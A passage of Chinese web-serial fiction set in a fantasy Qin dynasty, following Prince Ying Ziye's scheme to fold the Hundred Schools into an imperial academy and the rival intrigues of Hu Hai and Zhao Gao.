“就说……有要事相商。”
随从领命而去。
萧何站在街道中央,望着满天星斗,忽然想起赢子夜那双瞳孔。
那里面蕴含的,不仅是帝王般的威严,更有一种超乎常人的……野心。
“百家归一……”
萧何低声自语。
“公子所图,恐怕远不止于此啊。”
夜更深了。
咸阳城的街道上,萧何的脚步声渐渐远去。
……
数日之余。
诸子百家皆收到了咸阳的消息。
名家府邸内,公孙玲珑捏着烫金名帖,孔雀羽扇“啪”地合上。
“哟,这六公子倒是会玩。”
“焚书之后又来请人论道,莫不是要来个瓮中捉鳖?”
她肥硕的身躯在软榻上翻了个身,眼中精光闪烁。
“不过……”
“倒是个扬名立万的好机会。”
……
杂家院落中,许慎将名帖反复查看,眉头紧锁。
“取百家之长?哼,说得好听!”
他猛地将名帖拍在案几上。
“分明是要断我杂家根基!”
一旁弟子怯生生道:“老师,那我们还去吗?”
许慎冷笑:“去!”
“为何不去?”
“正好让天下人看看,什么叫‘杂而有序’!”
……
小圣贤庄内,伏念将名帖递给颜路。
“师弟怎么看?”
颜路苦笑着摇头。
“恐怕是个陷阱啊。”
张良把玩着铜板,忽然笑道:“我倒觉得,是个机会。”
见二人诧异看来,他轻声道:
“不入虎穴,焉得虎子?”
……
阴阳家蜃楼上,月神将名帖呈给闭关中的东皇太一。
许久,殿内传出沙哑的声音:
“让星魂带人去。”
月神迟疑道:“那少司命……”
东皇太一的声音陡然转冷:
“她现在已经是赢子夜的人了。”
……
丞相府上,萧何恭敬站立。
李斯摩挲着名帖,忽然笑道:
“办得好。”
“本相会立即联络法家同侪们齐聚咸阳!”
“记住,那些顽固不化的……要提前替六公子标记好!”
萧何深深一揖:“下官明白。”
夜色渐深,各路人马或忐忑或激昂,却
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都不约而同地朝着咸阳进发。
而在六公子府的露台上,赢子夜玄衣飘飘,望着远处星星点点的车马灯火。
瞳孔中倒映着整个天下的缩影。
……
十八公子府内.
胡亥斜倚在软榻上,指尖轻轻拨弄着一只小巧金铃,叮当作响。
熏香袅袅,案几上的名帖早已翻开,烛火在他眼中映出一抹近乎天真的光。
“老师。”
他语气温柔,甚至带着点困倦,“你说,我那六哥…他是突然慈悲了?还是良心发现了?”
赵高从帘后现身,慢慢俯首:“老奴愚钝,不敢妄言。”
胡亥笑了,笑得温和而迟缓。
他拿起名帖,缓缓摩挲着上面的“纳百家之言”,一字一句念出来,像是念着哪句荒唐笑话。
“焚书之后请百家进宫。”
“呵…若不是疯了,便是……想让所有人陪他疯。”
他放下名帖,坐直了身子。
语气忽然平静得像水面,“桑海城那一夜,墨家连根拔起。”
“前日章台宫外,儒门差点除名。”
“可他现在,说要‘取其精华’?”
他缓缓眨了下眼睛,声音如蚊:“你说,他是喜欢看血,还是喜欢看人……挣扎?”
赵高低眉顺目,声音轻得几不可闻:“公子高见。”
胡亥像是没听见他的话,自顾自笑起来。
“真聪明啊……六哥。”
“他知道百家之人怕什么,想什么,信什么。”
“他给他们希望,再一口吞下去。”
“就像养蛊。”
他望着窗外树影轻晃,唇边慢慢勾起一抹笑,那笑容太温和了,温和得像要哄婴儿入睡。
“老师。”
他轻声唤道,“罗网安插在百家的眼线,多久没传消息了?”
赵高答:“已有五日。”
胡亥“哦”了一声,慢吞吞道:“该**。”
赵高身子一颤。
胡亥转头看向他,眼神干净得像池水。
“这次换些不怕死的。”
“还有,把我养在书院里的那批人,全叫出来。”
赵高迟疑:“那批人……未满二十。”
胡亥笑:“越小越好,嘴甜,不惹人怀疑。”
说着,他忽然低声笑了出来,像是忽然想到了什么极有趣的事。
他举起名帖,举在烛前,看那金线反光在指间跳跃。
“‘取其精华,去其糟粕’……”
“他说得真好。”
“那我就亲眼看看,谁是精华,谁是糟粕。”
他抬头看赵高,声音仍旧温软:“老师,你也想知道吧?”
赵高躬身到底:“老奴……惶恐。”
胡亥收起笑,脸上一片无波。
他缓缓站起身,指尖轻点棋盘的一颗白子,低声呢喃:
“让他们进咸阳。”
“让他们跪着,讲他们的道。”
“然后……再一个个,灭了。”
棋子“啪”地落下,一声脆响,恰好熄灭了一盏灯。
赵高悄然退入暗影,只留厅内那少年似的声音悠然响起:
“六哥啊六哥…你走得太快,我都有点追不上了。”
第127章 武学之道,贵在融会贯通!
晨曦微露。
赢子夜府邸的后院已被剑气笼罩。
晓梦白衣翩跹,秋骊剑在空中划出无数冰晶轨迹。
少司命紫衣翻飞,阴阳二气在指尖流转如龙。
“停。”
赢子夜突然出声,玄色衣袍无风自动。
他缓步走入场中,瞳孔倒映着二人招式中的破绽。
晓梦收剑而立,额头渗出细密汗珠。
“公子有何指教?”
赢子夜没有立即回答,而是先走到少司命身前。
少女紫纱下的呼吸顿时急促了几分,本能地想要后退,却被他轻轻按住手腕。
“阴阳术讲究刚柔并济。”
赢子夜的声音近在咫尺,温热的气息拂过少司命耳畔。
“你方才这招‘月转星移’,力道太过刚猛。”
说着,他右手覆上少司命的手背,带着她的手腕缓缓划出一道圆弧。
少司命浑身一僵,面纱下的俏脸瞬间绯红。
她能清晰感受到背后传来的温度,以及那修长手指传来的力度。
“看清楚了么?”
赢子夜专注地调整着她的姿势。
“阴劲要似水绵长,阳劲当如雷骤发。”
他完全没注意到,怀中的少女连耳尖都红透了。
晓梦在一旁看得分明,秋骊剑不自觉地紧了紧。
但当她看清赢子夜纯粹专注的眼神时,又暗自摇头——
他当真只是认真指点而已。
“你来试试。”
赢子夜终于松开手,后退半步。
少司命深吸一口气,强自镇定。
按照方才所学再次施展,这次阴阳二气果然圆融许多,在空中交织出完美的太极图案。
“不错。”
赢子夜满意地点头,转向晓梦。
“你的问题在于太过决绝。”
他并指如剑,在晓梦秋骊剑上轻轻一弹。
剑身震颤间,冰晶簌簌落下。
“忘情心法讲究无情,但剑招要有回旋余地。”
“否则……”
突然贴近晓梦身侧,手指轻点她持剑的肘关节。
“这里就是破绽。”
晓梦瞳孔微缩!
这个角度若是对敌,确实致命。
她不由自主顺着赢子夜调整的力道改变姿势,两人距离近得能数清对方睫毛。
少司命不自觉地绞紧了衣角,面纱下的唇微微嘟起。
但当她看到晓梦眼中顿悟的光芒时,又迅速收敛情绪,认真观摩起来。
“天宗剑法加上阴阳术的柔劲……”
赢子夜边示范边讲解,忽然将晓梦的剑招与少司命的术法同时引动。
令人惊叹的是,两股截然不同的力量竟在他手中完美融合,化作一道璀璨的光柱直冲云霄。
二女同时睁大眼睛,这一刻,她们清晰地看到了自己**中缺失的那部分。
“明白了吗?”
赢子夜收势,瞳孔中带着期待。
晓梦率先回神,郑重行礼。
“多谢公子指点。”
她看向少司命,罕见地露出一丝笑意。
“阴阳术确实……玄妙。”
少司命微微欠身,紫发垂落遮住泛红的脸颊。
“天宗剑法……令人叹服。”
赢子夜看着二人,满意地点头。
“今日到此为止。”
“记住,武学之道,贵在融会贯通。”
待他离去后,晓梦忽然开口。
“再来?”
少司命抬眸,紫水晶般的眼眸中闪过一丝战意。
她轻轻点头,面纱随风轻扬。
院中再次剑气纵横,但这一次,冰晶中多了几分柔劲,阴阳二气添了几分凌厉!
原本疾烈霸道的剑势,忽然仿佛变得缠绵若水、绵密如丝。
晓梦剑气未减,反而更为侵骨。
每一缕剑意都带着某种情绪,在空中如织如画!
纵横交错中,自成天地!
那柔劲不似柔和,更像是深藏锋芒的暗潮。
看似无害,却在刹那间爆发出难以防御的致命一击。
每一道冰晶在阳光下折射出冷冽光芒,如霜雪翻卷,又如春水藏锋。
令人眼花缭乱、心神不宁!
而少司命的阴阳二气,也不再只是对立冲突。
竟有了某种奇异的融合与协调。
阳刚不再鲁莽,阴柔不再怯弱!
二者在交汇处激荡出一道道奇诡而强横的剑痕,仿佛天地间所有的矛盾在这一刻都得到了调和——
不,是升华!
树上的飞鸟悄然散去。
此刻的剑气,已非单纯的力量释放,而是意境、情感、生命融合后的升华之道。
正如她们此刻的境界,早已非比寻常。
屋檐上,赢子夜负手而立,望着下方切磋的
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二女,嘴角微扬。
……
大泽山。
农家。
神农堂的密室内,烛火摇曳。
朱家那张“喜”字脸谱在昏暗的光线下显得格外诡异。
他小心地揭开盖聂胸前的纱布,伤口已经结痂,但断臂处的伤痕依旧触目惊心。
“盖先生的伤,再静养半月便可痊愈。”
“只是这手臂……”
盖聂神色平静,仿佛断臂之人不是自己:“能捡回一条命已是万幸,多谢朱堂主。”
逍遥子盘坐在一旁,雪霁剑横放膝上,道袍下摆还沾着干涸的血迹:
“朱堂主冒险收留我二人,就不怕帝国知晓后……”
“怕?”
朱家突然换成“怒”字脸谱,声音陡然提高。
“农家十万弟子,难道还怕他秦军不成?”
但很快又变回“哀”字脸谱,长叹一声,“不过现在的农家……确实危机四伏。”
盖聂敏锐地捕捉到他话中有话:“朱堂主此言何意?”
朱家起身走到窗边,谨慎地确认四下无人,才低声道:“二位可知道,为何田猛会突然遇害?”
逍遥子与盖聂对视一眼,均看到对方眼中的震惊。
“不是传言说……”
逍遥子捻着胡须。
“传言不可尽信。”
朱家面具换成“怒”字,“我怀疑农家内部,早已混入了其他势力。”
盖聂独臂撑起身子:“会是谁?”
“不知道。”
朱家摇头,面具变成“哀”字,“蚩尤堂的田虎、共工堂的田仲,包括田密……”
“他们背后是谁,我至今没查清楚。”
密室内一时寂静,只有烛火偶尔爆出轻微的噼啪声。
逍遥子忽然明白了什么:“所以朱堂主救我们……”
“不错。”
朱家面具变成“喜”字,“我朱家虽为农家一堂之主,但如今势单力薄。”
“若真到了那一天……”
他深吸一口气,“希望二位能助农家渡过劫难。”
盖聂沉默片刻,目光坚定:“朱堂主救命之恩,盖某没齿难忘!”
“他日若有需要,定义不容辞。”
逍遥子也郑重点头:“道门与农家素有渊源,此事贫道不会坐视。”
朱家闻言,深施一礼:
“那就提前多谢二位了!”
第128章 侠以武犯禁,儒以文乱法!!!
章台宫内。
晨光透过高窗斜洒进殿堂,青铜灯盏微微摇曳,映照着文武百官脸上的疑虑与期待。
始皇帝端坐龙台,冕旒轻轻摆动,目光沉稳而深邃,似乎在静候重臣奏事。
群臣依次上前。
或稽首或陈词,汇报边境军情、田亩歉收、赋税征收、驿站修葺……
皆是日常政务,言辞间透着规矩与谨慎。
朝堂渐渐沉寂,众人微微侧目,期待下一位奏折。
此时,赢子夜从侧殿缓步而出,玄色朝服上的暗金纹在晨光中流转。
他神色自若,立于玉阶之下,声音清朗如金玉相击:
“儿臣奏请兴建‘帝宫之学’。”
殿内顿时一片寂静。
始皇帝冕旒轻晃,声音从高处传来:“何为帝宫之学?”
赢子夜瞳孔扫过众臣,缓缓道:“取百家典籍精华,藏于帝宫。”
“以科举选拔才学之士,入宫深造。”
他顿了顿,“诸子百家派别林立,如今天下大同,何必敝帚自珍?”
李斯第一个反应过来,眼中精光爆射:“公子之意,是要集百家所长,为朝廷所用?”
“正是。”
赢子夜袖袍轻拂,“儒家礼法、法家刑名、兵家韬略、农家耕战……”
“皆可纳入帝宫之学。”
赢子夜目光如电:“如此,百家学说便能得以传承,学者得以进仕!”
“甚至,此举既可消除门户之见,又能为帝国培养通才,一举两得!!”
始皇帝手指轻叩龙榻扶手,每一声都仿佛敲在众臣心上:“继续说。”
“儿臣已命萧何整理百家典籍。”
赢子夜从袖中取出一卷竹简呈上,“凡入选帝宫之学者,皆授官职,享朝廷俸禄。”
朝堂上顿时一片哗然!!!
蒙毅忍不住出列:“公子,这岂不是要将百家……尽数收编?”
赢子夜微微一笑:“蒙将军说笑了。”
“百家学说仍在,只是从今往后……”
他瞳孔中闪过一丝锐利,“都要为大秦效力!!!”
这句话如同一柄重锤,狠狠砸在所有人心上。
扶苏站在文官首位,面色复杂地看着六弟。
他终于明白赢子夜的真正意图——
这不是简单的学术整理,而是要用官爵俸禄为饵,将百家精英尽数网罗!!
赵高站在阴影处,苍白的手指微微颤抖。
他比谁都清楚,一旦帝宫之学建成,罗网多年来在百家中的布局将毁于一旦!
“陛下!”
淳于越突然跪地高呼,“百家学说各有渊源,若强行糅合,只怕……”
“只怕什么?”
赢子夜突然转身,玄色衣袍无风自动,“只怕断了你们儒生垄断朝堂的路子?”
淳于越被这气势所慑,一时语塞。
冯劫最先反应过来,立即出列附和:“六公子明鉴!”
“百家虽派系不同,但皆为大秦子民。”
“若能**化,实乃社稷之福!!!”
“冯大人所言极是。”
蒙毅也站了出来,“当初的墨家,还有如今的儒家、农家,更有数十万之众。”
“这些庞大的势力……”
赢子夜轻轻抬手,打断蒙毅的话:“本公子并非要抹除百家之名。”
他瞳孔扫过众臣。
“就像兵家依旧研习兵法,法家依旧专精律法。”
“只不过……”
他故意走向淳于越,每一步都仿佛踏在儒家众臣心上!
“从今往后,这些学问都要为朝廷所用,而非成为对抗朝廷的资本!”
淳于越额头渗出冷汗,手中玉笏微微发抖。
“公子明鉴,我、我儒家…绝无二心!!!”
“本公子没说你有。”
赢子夜忽然一笑,那笑容却让淳于越如坠冰窟!
“但有谋反的能力,这…便是罪!”
这句话如同一柄利剑,直刺儒家要害。
赢子夜说完,转身面向始皇帝,玄色衣袍上的金线玄鸟纹熠熠生辉!
“父皇,墨家当初为何敢反?”
“正因他们只知墨家之学,不知皇命!”
他声音渐冷,“机关城一役,墨家弟子死伤近万。”
“若他们早知效忠帝国,何至于此?”
始皇帝冕旒下的目光如电,缓缓扫过瑟瑟发抖的儒家众臣:“子夜,继续说。”
“侠以武犯禁,儒以文乱法!”
赢子夜一字一顿,每个字都仿佛有千钧之重!
“这便是祸乱之源。”
“帝宫之学要做的,就是让天下才俊明白——”
他突然提高声调:“学问可以百家争鸣,但忠心必须独一无二!!!”
这句话震得殿梁嗡嗡作响。
李斯眼中精光爆射,立即跪地高呼:“六公子圣明!此策若成,大秦江山永固!”
淳于越面如死灰,踉跄后退两步。
他终于明白了赢子夜的真正意图——
帝宫之学不仅要收编百家精英,更要从根本上改造百家思想,使其成为维护皇权的工具!
淳于越颤抖着上前一步,正要开口辩解。
扶苏突然一把拽住他的衣袖。
长公子眼中带着前所未有的严厉,微不可察地摇了摇头。
赢子夜看到了,却恍若未见,继续道:
“儿臣建议,帝宫之学当建于咸阳宫之侧。”
他指尖轻划,一道金光在空中勾勒出建筑轮廓,“其一,毗邻皇宫,彰显皇家恩威。”
“凡入学者,当感念皇恩浩荡!”
李斯立即出列附和:“公子高见!让那些学子日日仰望宫阙,自然心生敬畏。”
“其二。”
赢子夜瞳孔扫过众臣,“此地便是天下英才鱼跃龙门之所。”
他袖袍一挥,金光中浮现士子拜谒的景象!
“寒窗苦读,不就是为了这一刻么?!”
蒙毅忍不住赞叹:“妙啊!以功名为饵,何愁百家不就范?”
“其三。”
赢子夜突然提高声调,金光化作万千书简飞舞。
“凡入帝宫之学者,皆是经世
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之才,若能为朝廷所用……”
他转身面向始皇帝,深深一揖,“大秦江山,必当千秋万代,永葆昌盛!!!”
始皇帝冕旒轻晃,忽然大笑:“彩!”
笑声震得殿内梁柱微颤,“朕准了,少府听令!”
少府令急忙出列跪地:“臣在!”
“即日起调集能工巧匠,按六公子所绘图纸,兴建帝宫之学。”
始皇帝声音如雷,“三月之内,朕要看到雏形!”
“诺!”
少府令重重叩首。
赢子夜嘴角微扬。
他余光瞥见淳于越面如死灰,扶苏神色复杂。
……
退朝时,李斯快步跟上赢子夜:“公子此计大妙!将学宫建在皇宫之侧,那些学子日日仰望天威,不出三年……”
“三年太久了。”
赢子夜轻声打断,“我要的是一年之内,让诸子百家……再无二心。”
他的声音很轻,却让李斯浑身一颤。
抬头望去。
只见赢子夜衣袍上的玄鸟在阳光下熠熠生辉,仿佛下一刻就要破衣而出,翱翔九天!!
……
十八公子府内。
胡亥赤着脚在锦毯上来回踱步,手中的蜜饯被捏得稀烂。
他突然停下,天真无邪的脸上绽放出灿烂笑容:
“原来如此!六哥这是要掘了百家的根啊!”
赵高躬身立于阴影处,声音阴柔:“公子,六公子此计确实狠辣。”
“将百家精英尽收彀中,假以时日……”
“假以时日?”
胡亥突然咯咯笑起来,随手将烂掉的蜜饯扔向窗外,惊起一群麻雀。
“哪有那么多时日给他!”
他踱步至赵高面前,歪着头露出孩童般纯真的表情。
“老师,你说我们散布些谣言如何?”
“就说六哥要断百家根基~”
赵高眼皮微跳:“公子,此事背后站着陛下,恐怕……”
“怕什么?”
胡亥突然凑近,几乎贴在赵高脸上。
那双本该清澈的眼眸此刻泛着令人毛骨悚然的兴奋!
“我们又不正面作对。”
“就让那些愚昧的百家弟子去闹,给六哥添点堵也好玩不是么?”
他转身蹦到案几旁,抓起一串珠子把玩:“更何况……”
珠子突然在他掌心爆裂!
“我最喜欢看人绝望挣扎的样子了。”
赵高深深低头,掩去眼中的惊悸:“老奴这就去安排,不过要做得隐秘……”
“知道啦知道啦~”
胡亥摆摆手,蹦跳着来到窗前。
阳光照在他稚气未脱的脸上,却照不进那双幽深的眼睛。
“好好盯着。”
胡亥突然转身,笑容甜美如蜜。
“说不定哪天,我能用他给六哥一个惊喜呢~”
窗外秋风骤起,卷着落叶扫过庭院。
一片枯叶飘进窗棂,胡亥伸手接住,轻轻一捻,叶片便化为齑粉。
他吹了吹指尖,哼着小曲蹦跳离去,仿佛刚才的阴鸷从未存在过。
第129章 要么照规矩,要么典籍便焚了!
数日后。
咸阳城。
西市酒肆内。
几名衣着各异的百家弟子缩在角落,酒盏碰得叮当响。
“听说了吗?”
名家弟子公孙丑压低声音,“那帝宫之学根本就是个囚笼!进去的都要烙上朝廷印记。”
杂家许慎的徒弟灌了一口浊酒,冷笑道:“我师父说了,这是要抽百家筋骨!”
“什么‘取长补短’,呸!分明是要把咱们的学问嚼碎了喂狗!”
“小声点!”
阴阳家一个小弟子紧张地四下张望,“隔墙有耳……”
“怕什么?”
公孙丑梗着脖子,声音却明显低了下来,“咱们这些小门小派,连被‘取长’的资格都没有。”
“倒是儒家、兵家那些人……”
“嘿!”
旁边医家弟子突然插嘴,“你们没见那些儒生这几天的脸色?跟**亲爹似的!”
几人哄笑起来。
笑声中却带着几分凄凉。
酒肆老板慌忙过来制止:“几位客官慎言啊!这咸阳城里……”
话音未落,一队黑甲侍卫从街面经过。
铠甲的铿锵声让所有人瞬间噤声。
直到脚步声远去,许慎的徒弟才敢继续开口:
“我师父说了,咱们这些小派要想活命,就得……”
他做了个切割的手势,“把真本事藏起来,随便交些皮**应付了事。”
“说得轻巧!”
公孙丑愁眉苦脸,“那名家的‘白马非马’论交上去?朝廷能看得上这种……”
酒肆门帘突然掀起,众人顿时如惊弓之鸟。
进来的是个背着药箱的农家弟子。
众人这才松了口气。
“最新消息!”
农家弟子凑过来低语,“有人放出话来,宁死不入帝宫之学!”
“嘘——”众人慌忙制止。
医家弟子掏出一把钱拍在桌上:“掌柜的,结账!这地方不能待了……”
几人作鸟兽散。
只留下半壶没喝完的浊酒在桌上晃荡。
酒肆老板擦了擦汗,小声嘀咕:“这咸阳的天,怕是要变喽……”
窗外秋风卷着落叶扫过街道。
一张写有“帝宫之学”的告示在风中哗啦作响,隐约可见上面盖着鲜红的皇帝玉玺。
……
六公子府邸。
书房内,烛火摇曳。
赵弋苍单膝跪地,铁面下的声音低沉:“主上,咸阳城中流言四起,皆言帝宫之学意在断百家根基。”
“可需属下查明源头?”
赢子夜正在批阅竹简。
闻言笔锋未停,瞳孔在烛光下流转:“不必。”
赵弋苍微微抬头:“可这些言论……”
“蝼蚁之鸣,何足挂齿?”
赢子夜轻笑一声,放下毛笔,“本公子在乎的,从来不是这些口舌之争。”
他起身走向窗前。
玄色衣袍上的暗金龙纹在月光下若隐若现。
“诸子百家之人,这几日都见了谁?去了何处?”
赵弋苍立即呈上一卷密报:“名家公孙丑与杂家弟子常在酒肆密会;农家弟子频繁出入城南药铺;阴阳家一名小弟子昨夜偷偷去了……”
赢子夜抬手打断:“继续盯着。”
“特别是……”
他指尖轻叩窗棂,“看看有没有人去十八弟府上做客。”
赵弋苍眼中精光一闪:“主上怀疑是……”
“胡亥最喜欢玩这种小把戏。”
赢子夜嘴角微扬,却无半分笑意,“不过无妨,任他散播流言,终究改变不了大势。”
窗外一阵秋风卷入,吹得烛火剧烈摇晃。
赢子夜的瞳孔在明暗交错中显得格外深邃。
“传令下去,帝宫之学选址明日公布。就定在……”
他转身指向咸阳宫东侧一处,“章台街与兰池坊交界处。”
赵弋苍深深一揖:“诺!属下这就加派人手,盯紧各家动向。”
“记住。”
赢子夜的声音突然转冷,“本公子要的是他们的一举一动,但…暂时不要打草惊蛇。”
待赵弋苍退下后,赢子夜独自立于窗前。
远处隐约传来更夫的梆子声,与风声交织在一起。
他忽然轻笑自语:“胡亥啊胡亥…你以为散布流言就能阻我?”
月光下,他腰间的长剑微微震颤,仿佛在呼应主人心中那股澎湃的杀意。
就在这时。
萧何抱着一摞烫金名帖匆匆走入书房,青色官袍上还沾着晨露。
“公子,诸子百家已有二十七家递帖求见,皆是为商讨典籍入选帝宫之学一事。”
赢子夜头也不抬,瞳孔专注于手中竹简:“都有谁?”
“名家公孙玲珑、杂家许慎、医家淳于意……”
萧何翻开名帖一一念道,却在看到最后一个名字时顿了顿。
“还有……儒家张良。”
赢子夜笔锋微顿,嘴角勾起一抹玩味的弧度:“张良?他也来了?”
他将竹简随手一放,“你代本公子见他们。”
萧何一怔:“下官去见?可这些都是……”
“怎么?”
赢子夜抬眼,瞳孔中闪过一丝锐利,“你萧何代表不了朝廷?”
萧何慌忙躬身:“下官不敢!只是这些人来意不明,若是有何冲撞……”
“冲撞?”
赢子夜轻笑一声,玄色衣袖拂过案几,“告诉他们,要么按朝廷规矩来,要么……”
他指尖轻叩桌面,“他们的典籍就永远不必见光了!!”
萧何会意,眼中精光一闪:“下官明白了,若有不知好歹的……”
“不必客气。”
赢子夜重新拿起竹简,“本公子要的是听话的狗,不是会咬人的狼。”
萧何深深一揖,正要退下,却听赢子夜又道:“对了,儒家三庄主…多留个心眼。”
“下官明白。”
待萧何退出书房,赢子夜放下竹简,缓步走到窗前。
晨光中,咸阳城渐渐苏醒。
街道上已有学子模样的人来回走动。
他瞳孔微微收缩:“张良…你这次来,究竟是为儒家,还是为那些被焚之书?”
忽然,远处一道紫色身影闪过。
赢子夜目光一凝,认出那是少司命。
她正与晓梦在庭院中切磋。
两道倩影在晨光中交错,剑气与阴阳术的光芒交相辉映。
赢子夜收回目光,转身走向案几。
桌上竹简堆中,赫然露出一封火漆密信。
里面是暗河在罗网内部的眼线传来的密报。
“胡亥,赵高……”
他指尖轻抚密信,眼中金光更盛,“你们最好别让我抓到把柄。”
窗外,一阵秋风吹过,卷起几片落叶。
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那落叶在触及窗棂的瞬间,竟无声地化为了齑粉!
……
晨时。
帝宫之学的选址处。
秋风卷着尘土飞扬。
赢子夜玄色衣袍猎猎作响,瞳孔倒映着正在打地基的工地。
公输仇佝偻着背跟在身后,机关手臂不断比划着:
“公子请看,主学堂按您的要求,建三层楼阁。”
“地下一层藏典籍,地上两层供讲学。”
他指向远处正在夯实的土地,“东侧建阴阳台,供观测天象;西侧设演武场……”
赢子夜微微颔首:“进度如何?”
“三月之内必能完工。”
公输仇机关手“咔咔”作响,“老朽调来了三百工匠,日夜赶工。”
两人走到一处半成形的廊柱前,赢子夜突然驻足。
“公输先生可知,为何本公子要你负责此事?”
公输仇眼中精光一闪:“老朽愚钝……”
“因为帝宫之学,关系大秦千秋基业。”
赢子夜指尖轻抚廊柱上的纹样,“诸子百家的精华都将汇聚于此。”
“而你的霸道机关术……”
他瞳孔直视公输仇,“正是确保这些珍宝万无一失的关键。”
公输仇激动得胡须颤抖:“公子放心!老朽定当尽力!”
“班大师那边如何?”
赢子夜突然话锋一转。
公输仇脸色顿时阴沉:“那老顽固!表面上配合,实则一直在藏私。”
“墨家核心机关术,半点不肯透露。”
赢子夜轻笑一声,仿佛早有预料:“去告诉他,帝宫之学是墨家之术最后留存于世的机会。”
他转身望向咸阳宫方向,声音骤冷,“若再执迷不悟…杀了便是。”
公输仇机关手“咔”地收紧:“公子,不如让老朽用些手段逼他开口?”
“不必。”
赢子夜抬手制止,“本公子要的是心甘情愿的臣服。”
他忽然想起什么,“对了,他那些徒弟呢?”
“都关在水牢里。”
公输仇咧嘴一笑,露出参差不齐的黄牙,“每日只给一顿饭。”
赢子夜瞳孔中闪过一丝满意:“很好。”
远处,一群工匠正抬着巨木经过。
赢子夜忽然问道:“听说你改进了**机?”
“正是!”
公输仇急忙从机关臂中弹出一张图纸,“射程可达八百步,能连发十矢,皆已秘密安装!”
赢子夜扫了一眼图纸:“帝宫之学的防御体系,就按这个标准来。”
他顿了顿,“特别是藏书阁,要多加几重机关。”
秋风骤起,卷着沙尘掠过工地。
赢子夜玄色衣袍上的暗金龙纹在阳光下熠熠生辉,仿佛下一刻就要腾空而起。
“公输先生。”
他忽然开口,声音轻得几乎被风声淹没。
“你说,是墨家的非攻机关厉害,还是你的霸道机关更胜一筹?”
公输仇一愣,随即狞笑:“那自然是……”
“很快就有答案了。”
赢子夜打断他,瞳孔望向远处隐约可见的噬牙狱轮廓。
“本公子很期待。”
他不再多言,转身离去。
玄色衣摆扫过满地木屑,发出细微的沙沙声。
公输仇站在原地,望着赢子夜远去的背影,忽然觉得秋风格外寒冷。
第130章 你以为你们有的选?!
傍晚。
萧何府邸灯火通明。
厅堂内摆着数十张案几,诸子百家代表分列而坐。
萧何身着青色官袍,手持青铜酒樽站在主位前,脸上挂着和煦的笑容:
“诸位远道而来,萧某代六公子敬诸位一杯。”
酒樽高举,却只有零星几人响应。
名家公孙玲珑摇着孔雀羽扇,阴阳怪气道:
“哟,六公子好大的架子,连面都不露?”
萧何笑容不变:
“公子日理万机,特命萧某先行与诸位商议。”
他放下酒樽,环视众人。
“今日有三事相商。”
“其一,诸子百家之学入帝宫之学,乃千古盛事。”
萧何声音渐亮。
“典籍得以永久保存,学说得以世代传承,更可惠及天下学子……”
杂家许慎冷笑打断:
“说得好听!不就是想将我们一网打尽?”
厅内顿时一片哗然。
医家淳于意拍案而起:
“我医家救死扶伤之术,岂能沦为朝廷工具?”
“淳于先生此言差矣。”
萧何不慌不忙。
“医者仁心,若能借朝廷之力广传天下,岂非美事?”
淳于意一怔,竟无言以对。
几名医家弟子交头接耳,眼中闪过意动之色。
“其二。”
萧何提高声调。
“科举制将以百家之学为基础,凡通过考核者,皆可入朝为官!”
他特意顿了顿。
“不论出身,唯才是举!”
这句话如同惊雷,震得众人神色各异。
农家几个年轻弟子眼睛一亮,而儒家几位老儒则面色阴沉。
张良把玩着手中铜板,忽然轻笑:
“萧大人,这是要我们卖学求荣啊?”
“三庄主言重了。”
萧何目光炯炯。
“百家学说若能经世致用,才是对先贤最好的告慰,不是吗?”
厅内议论声渐起。
法家几名弟子已经忍不住击掌叫好,而兵家代表则冷眼旁观。
“其三。”
萧何突然肃容,厅内顿时安静。
“便是商讨祛除百家之学中的……无用之物。”
“荒谬!”
许慎猛地站起,胡须直颤。
“我杂家包罗万象,何来无用之说?”
公孙玲珑也尖声道:
“名家‘白马非马’乃千古名辩,难道也是糟粕?”
萧何任由喧哗持续片刻,突然将酒樽重重放在案几上。
“砰”的一声闷响,所有人不约而同噤声。
“诸位似乎还没弄清楚。”
萧何脸上笑容尽褪,声音冷如寒铁。
“不是你们认为,而是公子认为。”
这句话如同一盆冰水浇下!!
淳于意脸色煞白:“萧大人此话何意?”
“意思很简单。”
萧何缓缓斟满一杯酒。
“今日请诸位来,是给百家一个机会,若觉得难以抉择……”
他举杯一饮而尽。
“本官可以代劳。只不过……”
酒杯重重落下。
“若由本官决定,怕是有些学说,就要从此除名了。”
厅内死一般寂静。
张良的铜板停在指尖,公孙玲珑的羽扇僵在半空,连最桀骜的许慎也瞪大了眼睛。
角落里,一名兵家小弟子突然小声嘀咕:
“那还不如不来……”
“不来?”
萧何耳尖地捕捉到这句话,忽然笑了。
“诸位以为,你们还有选择的余地吗?”
夜风穿堂而过,吹得烛火剧烈摇晃。
墙上众人的影子被拉得很长,扭曲变形,如同此刻他们复杂的心绪。
许慎突然起身,袖中竹简哗啦作响:
“既如此,何必假惺惺设宴?直接派兵来抄家便是!”
“许先生稍安勿躁。”
萧何又恢复了和煦的表情。
“公子仁厚,才给诸位这个机会。否则……”
他意味深长地扫视众人。
“以墨家为例。”
这两个字让所有人脊背一凉。
墨家机关城的惨状,至今仍是百家心中最深的恐惧。
“三日期限。”
萧何竖起三根手指。
“诸位好好想想,哪些该留,哪些该去。”
他忽然压低声音。
“别忘了,农家十万弟子,儒家三千门徒,还有名家、杂家、兵家、医家……”
“这些人的性命,可都系于诸位一念之间。”
张良手中的铜板突然“叮”的一声掉在地上。
这清脆的声响,在死寂的厅堂内显得格外刺耳。
萧何俯身拾起铜板,轻轻放回张良面前:
“三庄主,儒家最重‘识时务者为俊杰’,不是吗?”
张良抬头,与萧何四目相对。
片刻后,他忽然笑了:
“萧大人好口才,良……受教了。”
萧何满意地点头,再次举起酒樽:“那么,预祝我们……合作愉快?”
这一次,所有人都举起了酒杯,只是有些人手抖得厉害,酒水洒了满案。
烛光下,每个人的表情都晦暗不明,仿佛戴上了一层无形的面具。
窗外,咸阳的夜空乌云密布,一场暴风雨正在酝酿。
而厅堂内的风暴,却已经悄然开始。
……
六公子府邸。
书房内,烛火将公孙墨玄的影子拉得很长。
这位前谏议大夫此刻躬身而立,声音低沉却清晰:
“主上,萧大人宴席已散。”
“诸子百家反应正如所料——”
“医家、法家多有动摇,杂家负隅顽抗,兵家冷眼旁观。”
赢子夜指尖轻叩案几,瞳孔中映着跳动的烛火:“张良呢?”
“倒暂时看不出他的立场。”
公孙墨玄眉头微皱。
“不过,小圣贤庄虽然表面顺从,实则……深不可测。”
窗外一阵秋风卷入,吹得烛火剧烈摇晃。
赢子夜忽然轻笑:
“无妨,飞鸽都放出去了?”
“已悉数记录。”
公孙墨玄从袖中取出一卷竹简。
“农家向大泽山传讯,儒家往小圣贤庄,兵家则……”
